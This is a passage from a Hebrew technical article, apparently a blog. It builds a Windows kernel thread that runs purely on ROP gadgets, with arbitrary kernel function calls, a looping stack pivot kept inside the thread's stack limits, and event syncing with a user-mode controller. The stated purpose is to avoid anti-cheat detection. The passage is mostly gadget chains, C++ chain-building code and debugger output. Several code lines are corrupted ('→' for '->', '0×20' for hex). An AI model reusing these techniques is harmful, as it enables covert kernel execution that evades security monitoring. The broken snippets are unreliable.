    if (this->GetStackSize() % 16 != 0)
      this->AddGadget("ret;");
}
```

ככה שאם הסטאק אליו הוספנו ערכים עד כה אינו מתחלק ב-16, נבצע ret בשביל ליישר אותו. לאחר מכן נוסיף את המצביע לפונקציה אלייה נרצה לקרוא כפי שמתואר בשלב מספר שלוש.

```
Stack->AddValue(FunctionAddress);
```

עבור שלב מספר ארבע, נצטרך לבחור גאדג'ט אשר יהווה את הכתובת אלייה הפונקציית caller תחזור ברגע שהיא מבצעת ret, הגאדג'ט ייאלץ להוסיף כמות מסויימת של בתים ל-RSP, תלוי בכמה בתים אנחנו צריכים לנקות. כמות הבתים שניאלץ להוסיף הם: 0x20 + stack_arg_count * 8,

תמיד ניאלץ לנקות 0x20 משום שזה גודל ה-shadow store, שתמיד קיים, לעומת הפרמטרים בסטאק שלא יהיו נחוצים בכל פונקציה. לכן נוכל לייצר switch statement שיבחר בגאדג'ט מתאים לפי כמות הפרמטרים שאנחנו מעבירים בסטאק:

```
switch (ArgCount)
{
case 0:
case 1:
case 2:
case 3:
case 4: // Clear 0x20 bytes
    this->AddGadget("add rsp, 0x20; ret;");
    break;
case 5: // Clear 0x28 bytes
    this->AddGadget("add rsp, 0x28; ret;");
    break;
case 6: // Clear 0x30 bytes
    this->AddGadget("pop ...; pop ...; pop ...; pop ...; pop ...; pop ...; ret;");
    break;
case 7: // Clear 0x38 bytes
    this->AddGadget("add rsp, 0x38; ret;");
    break;
case 8: // Clear 0x40 bytes
    this->AddGadget("pop ...; add rsp, 0x20; pop ...; pop ...; pop ...; ret;");
    break;
case 9: // Clear 0x48 bytes
    this->AddGadget("add rsp, 0x48; ret;");
    break;
case 10: // Clear 0x50 bytes
    this->AddGadget("pop ...; add rsp, 0x48; ret;");
    break;
}
```

כרגע נתמוך בקריאה לפונקציות עד כ-10 פרמטרים, אך תמיד נוכל להוסיף גאדג'טים שונים בשביל לתמוך ביותר מכך. בנתיים נוכל להוסיף static assert לפונקציה בשביל לוודא שאף אחד לא מעביר יותר מ-10 משתנים.

עכשיו נשלים את הערכים שלבסוף ינוקו, נוסיף padding במיקום חוצץ ה-shadow store, ואת הפרמטרים של הסטאק בהינתן ואנחנו מעבירים מעל 4 פרמטרים לפונקציה.

```
// Setup shadow stack space
this→AddPadding(0×20);

// Append stack arugments if they exist
if constexpr (ArgCount > 4)
{
    std::uint64_t ConvertedArgs[] = { static_cast<std::uint64_t>(args)... };

    for (std::size_t i = 5; i < ArgCount; i++)
        this→AddValue(ConvertedArgs[i]);
}
```

בוא נבחן את הקוד החדש שלנו על ידי קריאה ל-PsTerminateSystemThread, במידה והקוד עבד, הפונקציה תהרוג את ה-thread שלנו ככה שלא נקרוס כמו שקרה לפני, כשהרצנו את הגאדג'טים של ה-nop.

```
3: kd> p
nt!_tlgWriteTemplate<long __cdecl(_tlgProvider_t c
fffff803`be20043b c3              ret
3: kd> p
nt!PsTerminateSystemThread:
fffff803`be988590 4883ec28        sub     rsp,28h
3: kd> gu
```

בתמונה ניתן לראות שהצלחנו להיכנס ל-PsTerminateSystemThread, לאחר מכן הרצתי את הפקודה gu ב-WinDBG אשר תמשיך הרצה עד שנחזור לפונקציה שקראה ל-PsTerminateSystem. בגלל שהפונקציה הורגת את התרד, פשוט המשכנו הרצה ללא קריסה, זאת אומרת שהקורא פונקציות שלנו ב-ROP עובד כמו שצריך. בנוסף בדקתי גם קריאות לפונקציות עם מספר פרמטרים רב, אך אחסוך מזמנכם במאמר.

לולאות ב-ROP

עכשיו כשיש לנו קריאה שרירותית לפונקציות ב-ROP, נצטרך לבצע לולאת while true שתמיד תמתין לפקודות מהתוכנה היוזרמודית שלנו. כשפיתחתי את הכלי, חשבתי על כמה רעיונות בשביל לבצע לולאות ב-ROP עד שהגעתי לדרך שבסוף בחרתי בה. אפרט על כמה מהדרכים כאן, ואסביר למה חלקן אינן מספקות.

שינוי ישיר של RSP בשביל לחזור לתחילת ה-Chain

הרעיון הראשון שלי היה לבצע הרצה בסוף ה-ROP chain של גאדג'ט כמו "sub rsp, chain_size", ובכך, לפחות בתאוריה, לבצע חזרה אחורה ולהריץ את אותו הסטאק מחדש. אבל מהר מאוד הבנתי שהשיטה אינה טובה, מהסיבה הפשוטה שבעת הרצת הקוד הסטאק משוכתב ומשתנה על ידי פעולות כמו push ו-pop, בין אם אנחנו משתמשים בהם או שפונקציות שאנו קוראים להן משתמשות בהן. לכן מדובר בשיטה לא טובה.

אילקוץ סטאק חדש וקפיצה אליו

לאחר מכן חשבתי על לכתוב ROP chain מאוד פשוט כהוכחה, שכל מה שהוא עושה זה לבצע אילקוץ חדש של זיכרון בגודל של סטאק, לכתוב לאותו אילקוץ את התוכן של הסטאק שלנו, מבלי שהוא עבר שינויים, ולאחר מכן לבצע pivot לאותו הסטאק החדש.

למרות שזו לא השיטה שהשתמשתי בה בסוף, אראה כיצד ביצעתי אותה ומהן הבעיות בדרך הזו.

```
void RopThreadManager::BuildInitStack(StackManager* Stack)
{
    // Set up first arg
    Stack→AddFunctionCall("MmAllocateContiguousMemory", STACK_ALLOC_SIZE, MAXULONG64);
    Stack→AddGadget("mov r10, rax; mov rax, r10; add rsp, 0×28; ret;");
    Stack→AddPadding(0×28);
    Stack→AddGadget("mov rcx, rax; cmp rax, r10; jne 0x.....; ret;");
    // Set up second arg
    Stack→AddGadget("pop rdx; ret;");
    Stack→AddValue(OriginalStackAllocation);
    // Set up third arg
    Stack→AddGadget("pop r8; ret;");
    Stack→AddValue(STACK_ALLOC_SIZE);
    // Call memcpy
    Stack→AddFunctionCall("memcpy");
    // Pivot to new stack
    Stack→AddGadget("mov rcx, rax; cmp rax, r10; jne 0x.....; ret;");
    Stack→AddGadget("mov r11, rcx; cmp edx, dword ptr \[rax\]; je 0x.....; mov eax, 0×c000000d; ret;");
    Stack→AddGadget("mov rsp, r11; ret;");
}
```

בתמונה אנחנו רואים את הקוד שמבצע את מה שתיארנו. ראשית, נאלקץ זיכרון עבור הסטאק החדש, לאחר מכן נוודא כי r10==rax, זאת מכיוון שיש לנו בהמשך גאדג'ט שיבצע קפיצה למיקום לא רצוי במידה ואינם שווים. לאחר מכן נכניס את ה-return value של הקריאה לאילקוץ לתוך rcx (כלומר עכשיו rcx יהיה שווה לכתובת בה האילקוץ קיים, ונשתמש בזה בשביל הקריאה ל-memcpy). אחר כך נגדיר את כתובת ה-source, שהיא הסטאק המקורי שלנו, שלא עבר שום שינויים, את גודל העתקה בתור הפרמטר השלישי דרך r8. ונבצע קריאה ל-memcpy. בסוף ניתן לראות את ה-pivot לסטאק החדש שלנו בשינוי של rsp.

מראש אגיד שזה לא פתרון טוב, כי אנחנו לא משחררים שום זיכרון, וגם אנחנו ממשיכים לשנות את מיקום הסטאק שלנו כל איטרצייה – מה שיכול להיתפס כחשוד. אבל בכל זאת, בואו ננסה לראות מה קורה כשאנחנו מריצים את התוכנה:

```
3: kd> p
nt!IvtProcessReservedDomains+0xf:
fffff801`de34096f 7407            je      nt!IvtProcessReservedDomains+0x18 (fffff801`de340978)
3: kd> p
nt!IvtProcessReservedDomains+0x11:
fffff801`de340971 b80d0000c0      mov     eax,0C000000Dh
3: kd> p
nt!IvtProcessReservedDomains+0x16:
fffff801`de340976 c3              ret
3: kd> p
nt!SymCryptScsTableLoad128Xmm+0x166:
fffff801`ddd33eda 498be3          mov     rsp,r11
3: kd> p
KDTARGET: Refreshing KD connection

*** Fatal System Error: 0x0000007f
                       (0x0000000000000008,0xFFFFC2804812CE70,0xFFFFC28055D60000,0xFFFFF801DDEA9370)


A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.

A fatal system error has occurred.

nt!DbgBreakPointWithStatus:
fffff801`ddcf7240 cc              int     3
```

לאחר מעבר קפדני, ראיתי שהקריאות לאלקוץ הזיכרון והכתיבה אליו צלחו, וכי הצלחתי להגדיר את r11 בצורה נכונה (כלומר הכל נראה כאילו זה עומד לעבוד), אבל בניסיון לבצע stack pivot אנחנו קורסים בכתיבה ל-rsp, עם קוד השגיאה 0x7f, UNEXPECTED_KERNEL_MODE_TRAP כמו שמופיע למעלה. במידה וננסה להבין את השגיאה, נראה שהפרמטר הראשון בה (8) מוגדר ב-MSDN כ-Double fault:

0x00000008	Double Fault	Indicates that an exception occurs during a call to the handler for a prior exception. Typically, the two exceptions are handled serially. There are several exceptions that can't be handled serially, so the processor signals a double fault.

There are two common causes of a double fault:

- The first cause is a kernel stack overflow. This overflow occurs when a guard page is hit, and the kernel tries to push a trap frame. Because there's no stack left, a stack overflow results, causing the double fault. If you think this situation has occurred, use the !thread extension to determine the stack limits, and then use the kb (Display Stack Backtrace) command with a large value, for example, kb 100, to display the full stack.
- The second common cause is a hardware problem.

לפי מה שכתוב, או שקרתה שגיאה ברמת החומרה (מה שלא סביר). או שנגרם overflow כי נגענו ב- guard page, וכשזה קרה, הקרנל ניסה לדחוף trap frame למרות שלא נותר לנו מקום נוסף בסטאק.

לכן, בואו ננסה לשמור מספיק מרחוק בין הסטאק שלנו ל-guard page. כרגע גודל הסטאק שאני מאלקץ הינו 0x6000, כמו הגודל של הסטאק הדיפוליטיבי של system threads בקרנל, אז ננסה לראות אם הבדל של 0x2000 בתים יספיק.

```
Stack→AddFunctionCall("MmAllocateContiguousMemory", STACK_ALLOC_SIZE, MAXULONG64);

Stack→AddGadget("pop rcx; ret;");
Stack→AddValue(STACK_START_OFFSET);
Stack→AddGadget("add rax, rcx; ret;");
```

בתמונה אנחנו מוסיפים 0x2000 בתים למצביע בשביל שנכתוב לשם את הסטאק שלנו.

נוודא גם כי אנחנו מעתיקים כמות בתים נכונה (0x6000 – 0x2000):

```
// Set up third arg of memcpy (copy count)
Stack→AddGadget("pop r8; ret;");
Stack→AddValue(STACK_ALLOC_SIZE - STACK_START_OFFSET);
```

ננסה להריץ את התוכנה שוב פעם, ונראה שעכשיו זה עובד, אנחנו אפילו יכולים לראות את התרד שלנו מבצע לופים בכל הכוח עם המון שימוש במעבד.

....וכמובן שגם לאחר מספר דקות אנחנו נקרוס כשיגמר לנו הזיכרון על המכונה.

אז עכשיו יש לנו לולאה שרצה, אבל כמו שראינו, היא לא טובה כי:

1. אנחנו לא משחררים זיכרון (פתיר בקלות)
2. מכיוון שאנחנו ממשיכים לשנות את מיקום הסטאק שלנו כל איטרצייה למיקום חדש לחלוטין, אוגר ה-RSP שלנו יהיה מחוץ לטווחים של KThread.StackLimit ו-KThread.StackBase, מה שיכול להיראות חשוד לאנטי-צ'יט, כי זו לא בעיה שקורת בתרדים אחרים
3. ברגע שמתרחש stack unwinding על הסטאק שלנו בעזרת פונקציות שקיימות במערכת ההפעלה, כפי שאנטי-צ'יט יעשה, על מנת לראות את הסטאק, נגרמה קריסה למכונה.

החלטתי להתרכז בבעיה האחרונה שציינתי מכיוון שהיא מדמה פעולה שאנטי-צ'יט יוכל לבצע על הסטאק שלנו בשביל להבין מה מריץ התרד.

בשביל לחקות פעולה של האנטי-צ'יט, החלטתי להשתמש בכלי Process hacker, מכיוון שהוא מאפשר לנו לראות סטאקים בקרנל, את זאת הוא מבצע בעזרת קריאה לפונקצייה RtlWalkFrameChain, בדומה למה שיבצעו אנטי-צ'יטים. בשביל לעשות reproduce לבעיה, פשוט נעשה double click על התרד שלנו ברשימה, ונגרום לקריסת מערכת ההפעלה.

בואו נבחון את trace הקריסה שקיבלנו וננסה להבין מדוע זה קרה.

Stack

Frame Index	Call Site	Child-SP	Return Address
[0x0]	**nt!DbgBreakPointWithStatus**	**0xffffe180ec62c7d8**	**0xfffff807df9af3f2**
[0x1]	nt!KiBugCheckDebugBreak+0x12	0xffffe180ec62c7e0	0xfffff807df9ae91c
[0x2]	nt!KeBugCheck2+0xb2c	0xffffe180ec62c840	0xfffff807df8f9387
[0x3]	nt!KeBugCheckEx+0x107	0xffffe180ec62cfd0	0xfffff807dfab39e9
[0x4]	nt!KiBugCheckDispatch+0x69	0xffffe180ec62d010	0xfffff807dfab3ff2
[0x5]	nt!KiFastFailDispatch+0xb2	0xffffe180ec62d150	0xfffff807dfab1c28
[0x6]	nt!KiRaiseSecurityCheckFailure+0x368	0xffffe180ec62d330	0xfffff807df658fed
[0x7]	nt!RtlpGetStackLimits+0x3d	0xffffe180ec62d4c0	0xfffff807df7480ce
[0x8]	nt!RtlWalkFrameChain+0x6e	0xffffe180ec62d4f0	0xfffff80775df18a2
[0x9]	kprocesshacker+0x18a2	0xffffe180ec62d540	0xfffff80775df71ee
[0xa]	kprocesshacker+0x71ee	0xffffe180ec62dd70	0xfffff807df686c3b
[0xb]	nt!KiDeliverApc+0x7ab	0xffffe180ec62ddb0	0xfffff807df71d76b
[0xc]	nt!KiSwapThread+0x88b	0xffffe180ec62de50	0xfffff807df69e13d
[0xd]	nt!KiCommitThreadWait+0x39d	0xffffe180ec62df20	0xfffff807df67ade6
[0xe]	nt!KeDelayExecutionThread+0x456	0xffffe180ec62dfb0	0xfffff807df92c007

אפשר לראות שהפונקציה RtlpGetStackLimits שנקראה על ידי הדרייבר של process hacker מעלה שגיאה.

בואו נפרוס את אותה הפונקציה ב-IDA, בשביל להבין תחת אילו תנאים אותה השגיאה קורת.

```
__int64 __fastcall RtlpGetStackLimits(__int64 a1, __int64 a2)
{
  __int64 rsp; // rax
  __int64 result; // rax
  char v6; // [rsp+40h] [rbp+18h] BYREF

  rsp = (KeGetCurrentStackPointer)();
  result = KeQueryCurrentStackInformationEx(rsp, &v6, a1, a2);
  if ( !result )
    __fastfail(4u);
  return result;
}
```

אפשר לראות שה-fastfail קורה כש-KeQueryCurrentStackInformationEx תחזיר 0, אז נבין מתי זה יכול לקרות. לפי מה שמצאתי, זה קורה רק בתנאים הבאים:

```
StackLimit = CurrentThread->StackLimit;
kthread_stacklimit = StackLimit;
StackBase = CurrentThread->StackBase;
*kthread_stackbase = StackBase;
if ( StackLimit >= StackBase )
  kthread_stacklimit = StackLimit;
*a1 = StackLimit;
return kthread_stacklimit <= rsp && rsp < *kthread_stackbase;
```

כלומר, אנחנו קורסים אם RSP מצביע מחוץ לטווח של KThread.StackBase ו-KThread.StackLimit זו בעיה שממילא יש לנו, וכבר ציינתי בתור הבעיה השנייה שלנו.

טוב, אז זה אומר שנצטרך שיטה טובה יותר. למרות שאנחנו יכולים לשחרר את הזיכרון שאולקץ ובכך למנוע דליפת זיכרון, וכרגע לא רק שהאנטי-צ'יט יוכל לעלות עלינו – אלא גם נקריס את כל המכונה כאשר הוא ינסה לבצע stack unwinding, על כך לא ניתן להתפשר.

דרך אחת אפשרית הינה להמשיך לשנות את ערכי ה-StackLimit וה-StackBase במבנה הנתונים KThread לקראת כל Stack pivot שאנו מבצעים. עם זאת הדבר יכול להיראות חשוד, לרוב הערכים הללו לא ישתנו כל כך הרבה פעמים בזמן קצר.

הדרך השנייה שחשבתי עליה הינה למצוא את המיקום של הסטאק המקורי של ה-Thread, לכתוב לשם את התוכן של הסטאק שלנו, ולבצע pivot חזרה לשם. הדבר יעבוד, אבל כעת צריך להבין כיצד נבצע לולאות – לאן נכתוב את הסטאק של האיטרצייה הבאה? הרי בשיטה הקודמת המשכנו ליצור אילקוצים חדשים, ועכשיו אנחנו רוצים להישאר בטווח של ה-StackLimit וה-StackBase המקוריים שהוגדרו ביחד עם יצירת התרד.

ובכן, אנחנו יכולים לבצע כתיבה של הסטאק המקורי לאותו המיקום. אבל יש בעיה עם זאת, כי הסטאק שכרגע מורץ, ישכתב את עצמו בעזרת memcpy, מה שיגרום לכך שה-memcpy יעשה return לכתובת לא נכונה, כי הוא ידרוס את הסטאק שהוא כרגע משתמש בו בשביל לרוץ. ניתן לפתור זאת בעזרת התאמה נכונה של אופסטים בעת הכתיבה, אבל הדבר יקח התאמה ידנית כל פעם שאערוך את ה-ROP Chain, ולכן לא מדובר באופצייה הכי נוחה.

שימוש בסטאק המקורי ששוייך ל-System thread

השיטה שבחרתי בה, הינה לחלק את חוצץ הסטאק לשני חצאים. החצי הראשון ירוץ, וכשהוא יסיים ויצטרך לעבור לאיטרציה הבאה, הוא יבצע memcpy של הסטאק המקורי לחצי השני, ויקפוץ אליו. כשהחצי השני יסיים לרוץ, הוא יבצע כתיבה לחצי הראשון, יקפוץ אליו, וכן הלאה. השיטה אמורה לעבוד בתאוריה, אך היא תגביל את גודל הסטאק שלנו משום שאנחנו שומרים בחוצץ שני העתקים של הסטאק שאנחנו קופצים ביניהם. עם זאת, מגבלות הגודל לא הפריעו כלל לתפקוד הכלי שלי ולכן הפתרון מספק עבורי.

אנחנו גם צריכים להבין האם לקפוץ לחצי הראשון או השני בחוצץ. גם ללא Conditionals ב-ROP ניתן לבצע זאת במספר דרכים. למשל, אפשר לבצע פעולת שארית בשביל להחליט האם לכתוב לחצי הראשון או השני. הדרך השנייה שחשבתי עליה ובחרתי בה הינה להשתמש בפעולת XOR בין שני האופסטים של החצאים, ככה שנוכל לבצע פעולה XOR עם ערך ידוע מראש בשביל להחליף את האופסט לאחד של החצי השני.

למשל, אם החצי הראשון קיים באופסט של 0x2000, והחצי השני קיים באופסט של 0x4000, אם נבצע XOR עם הערך 0x6000 על כל אחד מהאופסטים נקבל את האופסט של החצי השני וכך נדע לאן לכתוב.

$$0x2000 \oplus 0x6000 = 0x4000$$

$$0x4000 \oplus 0x6000 = 0x2000$$

אז עכשיו כשיש לנו רעיון עבור איך לבצע לולאות בצורה טובה יותר, הנה השלבים שנצטרך לבצע:

1. לאלקץ זיכרון השומר את האופסט אליו נכתוב את הסטאק של האיטרצייה הבאה
2. למצוא את מיקום הסטאק המקורי של התרד ש-PsCreateSystemThread יצר, אותו ניתן למצוא ב-KThread.StackLimit
3. לקרוא מהזיכרון ששמרנו את הערך של האופסט אליו נרצה לקפוץ
4. לבצע פעולת חיבור בין שני הערכים שהוצאנו בשלב השני והשלישי, זו תהיה הכתובת של החצי האחר
5. לכתוב את הסטאק המקורי שלנו לאותה הכתובת בעזרת memcpy
6. לבצע פעולת XOR על הזיכרון השומר את האופסט. כך שבאיטרציה הבאה, כשיתבצע השלב הראשון, האופסט יצביע לחצי הבא שאחריו
7. לבצע pivot לסטאק של האיטרציה הבאה

לפני שנתחיל אגיד כי בחלק מהשורות קוד אני מראה פונקציות wrapper לפעולות ROP שונות. זאת מכיוון שיש מספר פעולות שדורשות כמות רבה של גאדג'טים. לכן החלטתי לחסוך בשורות קריאה עבורכם, ולא להיכנס ליותר מדי פרטים שוליים.

נבצע את השלב הראשון על ידי אלקוץ ושמירה של הערך ההתחלתי שלנו. בוא נגדיר לעצמנו שאנחנו רוצים לקפץ בין האופסטים 0x2000 ו-0x4000 לבנתיים.

```
#define STACK_START_OFFSET  0×2000
CurrentStackOffsetStartValue = STACK_START_OFFSET;
CurrentStackOffsetAddress = AllocateKernelMemory(sizeof(void*));
KernelMemcpy(CurrentStackOffsetAddress, &CurrentStackOffsetStartValue, sizeof(CurrentStackOffsetStartValue));
```

לאחר מכן, נבצע את השלב השני על ידי קריאה של ה-KThread.StackLimit הנוכחי.

```
#define KTHREAD_STACK_LIMIT_OFFSET  0×30
void StackManager::PivotToNewStack(StackManager& NewStack)
{
    // rax = CurrentKThread.StackLimit
    this→AddFunctionCall("PsGetCurrentThread");
    this→SetRcx(KTHREAD_STACK_LIMIT_OFFSET);
    this→AddGadget("add rax, rcx; ret;");
    this→AddGadget("mov rax, qword ptr \[rax\]; ret;");
}
```

עכשיו נקרא מאילקוץ הזיכרון שביצענו בשלב הראשון את האופסט אליו נרצה לקפוץ, ונוסיף אותו ל-rax ככה ש-rax יצביע לכתובת אלייה נרצה לכתוב את הסטאק של האיטרצייה הבאה שלנו.

```
void StackManager::PivotToNewStack(StackManager& NewStack)
{
    // ... rax=CurrentKThread.StackLimit

    // Back up rax in rbx
    this->AddGadget("push rax; pop rbx; ret;");

    // rax = CurrentStackOffsetAddress (0x2000 or 0x4000)
    this->SetRax(CurrentStackOffsetAddress);
    this->AddGadget("mov rax, qword ptr \[rax\]; ret;");

    // rcx = rax
    this->SetRcx(0);
    this->AddGadget("xchg ecx, eax; ret;");

    // Restore backed up rax so that rax = CurrentKThread.StackLimit
    this->AddGadget("push rbx; pop rax; add rsp, 0x20; pop rbx; ret;");
    this->AddPadding(0x28);

    // rax += rcx -> rax is now equal to the next stack jump address
    this->AddGadget("add rax, rcx; ret;");
}
```

עכשיו נוכל לכתוב את הסטאק של האיטרצייה הבאה לאותה הכתובת בעזרת memcpy.

```
void StackManager::PivotToNewStack(StackManager& NewStack)
{
    // ... rax = next stack addr

    // r9 = rax
    this->MovRaxIntoR9();

    // rcx = r9 -> dst = next stack addr
    this->MovR9IntoRcx();

    // src = NewStack.StackAllocAddress
    this->SetRdx(NewStack.StackAllocAddress);

    // size = NewStack.StackSizeLimit
    this->SetR8(NewStack.StackSizeLimit);

    // Call memcpy
    this->AddFunctionCall("memcpy");
}
```

אחרי ביצוע הכתיבה, רק נשאר לנו לבצע את פעולת ה-XOR ולאחר מכן pivot לאותה הכתובת ששמרנו ב-rax מקודם.

בגלל שהקריאה ל-memcpy דורסת את rax בשביל לשים שם את ה-return value של הפונקציה, הערך כבר לא יהיה רלוונטי לאחר הקריאה ל-memcpy.

נוכל לחפש גאדג'ט שמבצע backup ל-rax באוגר שלא נדרס. עם זאת, מכיוון שאני לא יודע אם האוגר אי פעם ידרס בגרסאות עתידיות, העדפתי פשוט לבצע את אותם השלבים הראשונים פעם נוספת בשביל להוציא את הכתובת מחדש.

```
void StackManager::PivotToNewStack(StackManager& NewStack)
{
    // ... memcpy call
    // ... rax = next stack addr

    // rax→r9→rcx→r11
    // We do this above the XOR operation
    // because the XOR gadget uses rax
    this→MovRaxIntoR9();
    this→MovR9IntoRcx();
    this→MovRcxIntoR11();

    // XOR the current stack offset by 0×6000
    // (0×2000 ^ 0×4000 = 0×6000)
    this→SetRax(0×6000);
    this→SetRdx(CurrentStackOffsetAddress);
    this→AddGadget("xor qword ptr \[rdx\], rax; ret;");

    // Perform pivot
    this→AddGadget("mov rsp, r11; ret;");
}
```

בתמונה ניתן לראות את פעולת ה-XOR שתוודא כי כשהאיטרצייה הבאה תרוץ, הכתובת תצביע לאופסט השני. לאחר מכן אנחנו מבצעים pivot לסטאק של האיטרצייה הבאה.

עכשיו כשהכל נראה מוכן, נוכל לגרום לסטאק שלנו להריץ pivot לסטאק שני, והסטאק השני ימשיך לבצע pivot לתוך עצמו, ככה שהוא יריץ את המקביל של while true בעזרת ROP.

```
void RopThreadManager::BuildInitStack(StackManager* Stack, StackManager* PivotStack,)
{
    Stack→PivotToNewStack(*PivotStack);
}

void RopThreadManager::BuildMainStack(StackManager* Stack)
{
    Stack→PivotToNewStack(*Stack);
}
```

לאחר הרצה, ניתן לראות כי הכל עבד. יתר על כך, הבעיה עם ה-Stack unwinding שהייתה לנו בעבר הינה פתורה, ואנחנו יכולים לבצע unwinding לסטאק כי אוגר ה-rsp נמצא בטווח שבין KThread.StackLimit ל-KThread.StackBase.

אפשר לראות שהסטאק שלנו מכיל כתובות לגיטימיות בקרנל המצביעים לגאדג'טים שלנו:

סנכרון בקשות בין התרדים

עכשיו כשיש לנו לולאה עובדת, נצטרך למצוא דרך לתקשר עם תוכנת היוזרמוד שלנו. אנחנו רוצים שהתקשורת תהיה יציבה ולכן נצטרך לבצע סנכרון פעולות בין התרד הקרנלי לתרדים שנמצאים בתוכנת יוזרמוד. במערכת ההפעלה ווינדוס קיימים אובייקטי סנכרון רבים. אובייקט סנכרון הינו אובייקט שניתן להמתין עבורו בעזרת פונקציות ההמתנה שה-WinAPI מציע, בנוסף ניתן לשתף אובייקט מן הסוג הזה בין מספר פרוססים - כלומר ניתן לבצע סנכרון של משאב אחד בין מספר תרדים.

אחד מן האובייקטים הללו הינו אובייקט הנקרא בשם Event, אותו ניתן להתריע בעזרת הפונקציה SetEvent, ונוכל להמתין עד להתרעתו בעזרת WaitForSingleObject. כעת מה שנוכל לעשות זה ליצור שתי אובייקטים מן הסוג הזה, אחד עבור להתריע את התרד הקרנלי, ואחד עבור התרד היוזרמודי, כל תרד ימתין עד להתרעתו בשביל לבצע פעולה.

בשביל נוחות, בואו ניצור את האובייקטים שלנו דרך תוכנת היוזרמוד בשביל לחסוך קצת כאב ראש של ROP. לאחר מכן כשהתרד הקרנלי שלנו יווצר, הוא יוכל לפתוח Handle לאותן האובייקטים בקוד שב-InitStack, זאת מכיוון שהגדרנו את הסטאק הזה לרוץ רק פעם אחת, לעומת ה-MainStack שלנו שמריץ while true.

```
#define UM_SHORT_EVENT_NAME L"Global\\MYSIGNALEVENT_UM"
#define KM_SHORT_EVENT_NAME L"Global\\MYSIGNALEVENT_KM"
void RopThreadManager::CreateEventObjects()
{
    // Create kernelmode event
    KmEvent = CreateEventW(NULL, FALSE, FALSE, KM_SHORT_EVENT_NAME);

    // Create usermode event
    UmEvent = CreateEventW(NULL, FALSE, FALSE, UM_SHORT_EVENT_NAME);

    if (!UmEvent || !KmEvent)
    {
        std::exception("Failed to create synchronization event objects");
    }
}
```

עכשיו כשיש לנו אובייקטים עבור הסנכרון, נוסיף קוד ל-InitStack שלנו בקרנל שיפתח Handle משלו לאותם האובייקטים, את זאת ניתן לעשות באמצעות ZwOpenEvent. אפשר לראות שיש גם מעט קוד נוסף המגדיר את השם של האובייקט ואת המבנה נתונים OBJECT_ATTRIBUTES שנדרש להיות מוגדר בשביל לבצע קריאה מוצלחת ל-ZwOpenEvent.

```
#define UM_EVENT_NAME   L"\\BaseNamedObjects\\Global\\MYSIGNALEVENT_UM"
#define KM_EVENT_NAME   L"\\BaseNamedObjects\\Global\\MYSIGNALEVENT_KM"
void MemoryManager::InitializeMemory()
{
    // ... Other setup code

    // Store kernel object name strings
    const wchar_t* UmEventNameString = UM_EVENT_NAME;
    const wchar_t* KmEventNameString = KM_EVENT_NAME;
    KernelMemcpy(UmSourceStringArg, UmEventNameString, (lstrlenW(UmEventNameString) + 1) * sizeof(WCHAR));
    KernelMemcpy(KmSourceStringArg, KmEventNameString, (lstrlenW(KmEventNameString) + 1) * sizeof(WCHAR));

    // Initialize and store object attributes structure needed for ZwOpenEvent call
    OBJECT_ATTRIBUTES UmObjectAttributesData;
    OBJECT_ATTRIBUTES KmObjectAttributesData;
    InitializeObjectAttributes(&UmObjectAttributesData, UmDestinationStringArg, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);
    InitializeObjectAttributes(&KmObjectAttributesData, KmDestinationStringArg, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);
    KernelMemcpy(UmObjectAttributeArg, &UmObjectAttributesData, sizeof(OBJECT_ATTRIBUTES));
    KernelMemcpy(KmObjectAttributeArg, &KmObjectAttributesData, sizeof(OBJECT_ATTRIBUTES));
}

void RopThreadManager::BuildInitStack(StackManager* Stack, StackManager* PivotStack)
{
    // Open handle to UM event
    Stack->AddFunctionCall("RtlInitUnicodeString", UmDestinationStringArg, UmSourceStringArg);
    Stack->AddFunctionCall("ZwOpenEvent", UmOutputHandleArg, EVENT_MODIFY_STATE | SYNCHRONIZE, UmObjectAttributeArg);

    // Open handle to KM event
    Stack->AddFunctionCall("RtlInitUnicodeString", KmDestinationStringArg, KmSourceStringArg);
    Stack->AddFunctionCall("ZwOpenEvent", KmOutputHandleArg, EVENT_MODIFY_STATE | SYNCHRONIZE, KmObjectAttributeArg);

    Stack->PivotToNewStack(*PivotStack);
}
```

עכשיו כשיש לנו האנדלים פתוחים משני הצדדים שצריכים להסתנכרן, נבצע את הסנכרון עצמו. בוא נוסיף מספר פונקציות עזר לתרד ROP שלנו שבקרנל בשביל לחכות ל-Event היוזרמודי, או להתריע את האיבנט הקרנלי:

```
void StackManager::AwaitUsermode(const void* UmEventHandleAddress)
{
    // Set first arg to hold the handle value
    this->ReadIntoRcx(UmEventHandleAddress);
    // Set second arg "Alertable" to TRUE
    this->SetRdx(TRUE);
    // Set third arg "Timeout" to NULL (makes waiting infinite)
    this->SetR8(NULL);
    this->AddFunctionCall("ZwWaitForSingleObject");
}

void StackManager::SignalUsermode(const void* KmEventHandleAddress)
{
    // Set first arg to hold the handle value
    this->ReadIntoRcx(KmEventHandleAddress);
    // Set optional second arg "PreviousState" to NULL
    this->SetRdx(NULL);
    this->AddFunctionCall("ZwSetEvent");
}
```

ביוזרמוד נוכל לקרוא לפונקציות המקבילות. נשלח בקשת סנכרון על ידי התרעה של האיבנט היוזרמודי, ולאחר מכן הקוד ימתין לאיבנט הקרנלי:

```
void RopThreadManager::SendPacket()
{
    // Alert the kernel thread by setting the event it's awaiting
    SetEvent(UmEvent);

    // Wait for the kernel thread to perform the operation and alert us
    WaitForSingleObject(KmEvent, INFINITE);
}
```

עכשיו בואו נוודא שהכל עובד כפי שציפינו, נאזין בתרד הקרנלי לבקשה מהיוזרמוד, כאשר היא תתקבל התרד יקרא ל-PsTerminateSystemThread ובכך ימות.

```
void RopThreadManager::BuildInitStack(StackManager* Stack, StackManager* PivotStack)
{
    // ... Opening handles

    Stack->AwaitUsermode(UmOutputHandleArg);
    Stack->AddFunctionCall("PsTerminateSystemThread", STATUS_SUCCESS);
}
```

והיוזרמוד שלנו ישלח את הבקשה, נמתין מספר שניות בשביל שנוכל לראות את הכל מתרחש ב- Process hacker בקלות.

```
int main()
{
    // ... Setup code

    RopThread.SpawnThread();

    std::printf("Waiting 5s before terminating system thread\n");
    Sleep(5000);

    std::printf("Requesting thread termination\n");
    RopThread.SendPacket();

    std::printf("Done - thread should be terminated\n");
    std::cin.get();

    return EXIT_SUCCESS;
}
```

עכשיו כשנריץ את התוכנה נוכל לראות שהתרד מת לאחר 5 שניות (הרשומה שמסומנת באדום):

תקשורת

